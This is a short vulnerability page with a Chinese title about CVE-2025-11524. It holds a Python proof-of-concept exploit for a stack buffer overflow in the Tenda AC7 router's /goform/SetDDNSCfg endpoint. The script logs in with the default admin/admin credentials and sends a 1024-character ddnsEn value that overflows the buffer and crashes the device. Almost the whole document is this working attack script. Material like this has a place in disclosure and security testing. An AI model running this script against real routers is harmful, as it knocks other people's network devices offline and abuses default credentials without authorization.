CVE-2025-11524：Tenda AC7路由器SetDDNSCfg栈缓冲区溢出漏洞

# CVE-2025-11524 PoC - Tenda AC7 SetDDNSCfg Stack Buffer Overflow # Vulnerability: Stack-based buffer overflow via ddnsEn parameter # Affected: Tenda AC7 firmware 15.03.06.44 # Endpoint: /goform/SetDDNSCfg import requests TARGET_HOST = "http://192.168.0.1" USERNAME = "admin" PASSWORD = "admin" # Default credentials or obtained credentials def exploit(target_host, username, password): """ Exploit stack-based buffer overflow in SetDDNSCfg endpoint by sending an oversized ddnsEn parameter value. """ session = requests.Session() # Step 1: Authenticate to the router management interface login_url = f"{target_host}/login/Auth" login_data = { "username": username, "password": password } session.post(login_url, data=login_data) # Step 2: Craft the malicious payload # The ddnsEn parameter is passed without proper length validation, # causing a stack-based buffer overflow when the input exceeds # the allocated buffer size. overflow_payload = "A" * 1024 # Oversized input to trigger overflow # Step 3: Send the exploit request to /goform/SetDDNSCfg exploit_url = f"{target_host}/goform/SetDDNSCfg" payload = { "ddnsEn": overflow_payload } response = session.post(exploit_url, data=payload) print(f"Exploit sent. Status: {response.status_code}") return response if __name__ == "__main__": exploit(TARGET_HOST, USERNAME, PASSWORD)